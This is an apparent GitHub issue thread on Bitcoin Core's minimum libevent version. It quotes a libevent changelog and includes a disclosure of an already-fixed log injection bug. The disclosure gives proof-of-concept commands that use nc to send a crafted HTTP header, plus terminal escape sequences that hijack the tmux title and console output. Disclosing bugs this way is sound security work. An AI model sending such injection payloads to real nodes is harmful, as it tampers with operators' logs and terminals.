Minimum required libevent version #17652

doc/dependencies.md states that the minimum required libevent version is 2.0.22.

But the Bitcoin Core is compiled on CentOS 7 with system libevent v2.0.21 successfully. And all unit and functional tests passed. See: #17635.

From the libevent/ChangeLog:

Changes in version 2.0.22-stable (?? Dec 2013)

 (As of 3b77d62829c4393bda6f9105a5d3b73b48a64b71.)

BUGFIXES (evhttp)
 o fix [#73](/bitcoin-bitcoin/73/) and fix http_connection_fail_test to catch it (crash fix) (b618204 Greg Hazel)
 o Avoid racy bufferevent activation (5eb1788 Nate Rosenblum)

BUGFIXES (compilation and portability)
 o Fix compilation with WIN32_HAVE_CONDITION_VARIABLES enabled (7e45739)
 o Fix missing AC_PROG_SED on older Autoconfs (9ab2b3f Tay Ray Chuan)
 o Backport libevent to vanilla Autoconf 2.59 (as used in RHEL5) (74d4c44 Kevin Bowling)
 o Use AC_CONFIG_HEADERS in place of AM_CONFIG_HEADERS for autmake 1.13 compat (817ea36)
 o Rename configure.in to configure.ac to appease newer autoconfs (0c79787)
 o Avoid using top_srcdir in TESTS: new automakes do not like this (a55514e)
 o Use windows vsnprintf fixup logic on all windows environments (e826f19)
 o Fix a compiler warning when checking for arc4random_buf linker breakage. (5cb3865)
 o Fix another arc4random_buf-related warning (e64a2b0)

BUGFIXES (resource leaks/lock errors on error)
 o Avoid leaking fds on evconnlistener with no callback set (69db261)
 o Avoid double-close on getsockname error in evutil_ersatz_socketpair (0a822a6)
 o Fix a locking error in bufferevent_socket_get_dns_error. (0a5eb2e)
 o libevent/win32_dealloc() : fix sizeof(pointer) vs sizeof(*pointer) (b8f5980 Frank Denis)

BUGFIXES (miscellaneous)
 o Avoid other RNG initialization FS reads when urandom file is specified (9695e9c, bb52471)
 o Avoid redundant invocations of init_extension_functions for IOCP (3b77d62)

BUFGIXES (evdns)
 o Checking request nameserver for NULL, before using it. (5c710c0 Belobrov Andrey)
 o Fix SEGFAULT after evdns_base_resume if no nameservers installed. (f8d7df8 Azat Khuzhin)

BUGFIXES (evutil_secure_random)
 o When we seed from /proc/sys/kernel/random/uuid, count it as success (e35b540)
 o Document that arc4random is not a great cryptographic PRNG. (6e49696)
 o Add evutil_secure_rng_set_urandom_device_file (2bbb5d7)
 o Really remove RNG seeds from the stack (f5ced88)


DOCUMENTATION FIXES
 o Fix a mistake in evbuffer_remove() arguments in example http server code (c322c20 Gyepi Sam)
 o Fix a typo in a comment in buffer.h. Spotted by Alt_F4 (773b0a5)



Changes in version 2.0.21-stable (18 Nov 2012)
...

Is it safe to use CentOS 7 libevent-devel package to build the Bitcoin Core?

see also #8639 by @fanquake

The minimum version is not always determined by what works, but by what is still reasonably testable against.

Don't ask for any guarantees if is "safe" (under the usual considerations it could be: we don't use libevent in the P2P code, the RPC port is for trusted use only), and there have been bugs that have been fixed since (such as file descriptor leaks), but if it works, it works.

I looked back in git history and the first libevent that was ever used (in depends) was 2.0.22. I suppose it was the latest stable (2.0 branch) at the time boost::asio was replaced with libevent.

Mind that you're talking about 7 year old software (2.0.11 was released 2012-11-18) which covers a large part of the project's recorded history.

I'd strongly recommend building using depends to have a newer version.

I wouldn't recommend using old versions of libevent.

Please see the following libevent related log injection bug I reported to security@bitcoincore.org back in October. It was not considered a vulnerability and I was given an explicit sign-off for posting it publicly ("IMO, we could just as well be discussing this on github") so here it goes :)

Anyways here is the problem:

https://github.com/bitcoin/bitcoin/blame/8ab4f282c06d67074b872dbda0be37636fdd5186/src/httpserver.cpp#L345-L356

Any high severity libevent error message is printed unfiltered to the Bitcoin Core logs
and console.

An example:

$ printf "POST / HTTP/1.0\r\nConnection: you-have-been-log-injected\r\n\r\n" | nc ip 8332

In log and console:

2019-10-15T10:08:43Z libevent: evhttp_get_body_length: we got no content length, but the
server wants to keep the connection open: you-have-been-log-injected.

A slightly more creative example which a.) changes the tmux title to
"tmux-title-injection-${RANDOM}" and b.) prints some fancy red text :)

CLEAR=$(xxd -p -r <<< "1b5b481b5b4a")
TMUX_TITLE_PRE=$(xxd -p -r <<< "1b6b")
TMUX_TITLE_POST=$(xxd -p -r <<< "1b5c")
COLOR_PRE=$(xxd -p -r <<< "1b5b33313b313b346d0a")
COLOR_POST=$(xxd -p -r <<< "1b5b306d0a")
INJECT_STRING="${TMUX_TITLE_PRE}tmux-title-injection-${RANDOM}${TMUX_TITLE_POST}${CLEAR}${COLOR_PRE}log-injection-${RANDOM}${COLOR_POST}"
printf "POST / HTTP/1.0\r\nConnection: %s\r\n\r\n" "${INJECT_STRING}" | nc ip 8332

That bug report lead to the PR #17095 which largely kills the log injection bug class which is nice. Fixing bugs is cool -- fixing entire bug classes is very cool :)

Note also that the bug could have been prevented by using a post-February 2018 version of libevent thanks to the upstream change https://github.com/azat/libevent/commit/cd57e38c3f77d0f6a718d9c1f2e3ead78a98bd06.

tl;dr -- running old libevent no good: at least not pre-PR-#17095 :)